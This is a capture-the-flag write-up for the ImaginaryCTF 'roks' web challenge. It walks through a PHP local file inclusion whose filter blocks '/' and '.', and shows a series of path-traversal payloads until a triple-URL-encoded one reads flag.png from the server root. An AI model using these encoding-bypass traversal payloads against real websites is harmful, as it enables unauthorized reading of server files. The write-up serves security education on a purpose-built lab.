### Description>My rock enthusiast friend made a website to show off some of his pictures. Could you do something with it?
Source code is provided, so let's review it before we check [the site](http://roks.chal.imaginaryctf.org).
## ReconThe `Dockerfile` shows us where to look for the flag.```dockerfileCOPY flag.png /```
`index.php` has a function to GET a random image.```jsfunction requestRandomImage() {var imageList = ["image1", "image2", "image3", "image4", "image5", "image6", "image7", "image8", "image9", "image10"]
	var randomIndex = Math.floor(Math.random() * imageList.length);	var randomImageName = imageList[randomIndex];
	var xhr = new XMLHttpRequest();	xhr.onreadystatechange = function () {		if (xhr.readyState === 4 && xhr.status === 200) {			var blob = xhr.response;			var imageUrl = URL.createObjectURL(blob);			document.getElementById("randomImage").src = imageUrl;		}	};
	xhr.open("GET", "file.php?file=" + randomImageName, true);	xhr.responseType = "blob";	xhr.send();}```
You'll notice that it makes a request to `file.php` with a user-controllable GET parameter, possible LFI. Checking the source, we'll see that parameters including `/` or `.` will be blocked, preventing us from using directory traversal, e.g. `../../`.```php$filename = urldecode($_GET["file"]);if (str_contains($filename, "/") or str_contains($filename, ".")) {    $contentType = mime_content_type("stopHacking.png");    header("Content-type: $contentType");    readfile("stopHacking.png");} else {    $filePath = "images/" . urldecode($filename);    $contentType = mime_content_type($filePath);    header("Content-type: $contentType");    readfile($filePath);}```
## SolutionWe load the site and click the `get rok picture`. Each time, it retrieves a new random rock picture. The URL doesn't change but we know from the source code, we can simply access a URL like: http://roks.chal.imaginaryctf.org/file.php?file=image1
We try LFI: http://roks.chal.imaginaryctf.org/file.php?file=../../../flag.png
As expected, we get the `stopHacking.png` which tells us to `STOP HACKING OUR COMPUTER.. YOU HACKERS`.
Let's try with URL encoding: `%2e%2e%2f%2e%2e%2f%2e%2e%2fflag.png`
No difference, but I realised we aren't allowed a single dot in the string, so tried `%2e%2e%2f%2e%2e%2f%2e%2e%2fflag%2epng` but no luck.
Tried to double-URL encode: `%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66flag%25%32%65png`
Still no luck, so I tried URL encode with unicode: `%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002fflag%u002epng`
This time, we get some errors.```txtWarning: mime_content_type(images/%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002fflag%u002epng): Failed to open stream: No such file or directory in /var/www/html/file.php on line 9
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/file.php:9) in /var/www/html/file.php on line 10
Warning: readfile(images/%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002fflag%u002epng): Failed to open stream: No such file or directory in /var/www/html/file.php on line 11```
Hmmm OK so reviewing the code again, notice that it first URL decodes the filename.```php$filename = urldecode($_GET["file"]);```
Next, it checks if the filename contains `/` or `.` and if it doesn't, it will URL decode the filename a second time.```php$filePath = "images/" . urldecode($filename);```
This made me think my approach of double URL encoding was correct, I'd just failed to directory traverse far enough since `/var/www/html/images/` requires `../../../../` to get back to the root directory: `%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66flag%25%32%65png`
Still doesn't work! Maybe I need to triple URL encode: `%2525%2532%2565%2525%2532%2565%2525%2532%2566%2525%2532%2565%2525%2532%2565%2525%2532%2566%2525%2532%2565%2525%2532%2565%2525%2532%2566%2525%2532%2565%2525%2532%2565%2525%2532%2566%2525%2536%2536%2525%2536%2563%2525%2536%2531%2525%2536%2537%2525%2532%2565%2525%2537%2530%2525%2536%2565%2525%2536%2537`
Yep, that did the trick! We get a PNG image containing the flag. I'm too lazy to type it out, so I extract the text from the image.```bashsudo apt-get install tesseract-ocr``````bashtesseract file.png stdoutictf{tr4nsv3rsing Ov3r_rOk5_6a3367}```
Tesseract got 4 characters wrong.. Manually corrected the flag!```txtictf{tr4nsv3rs1ng_0v3r_r0k5_6a3367}```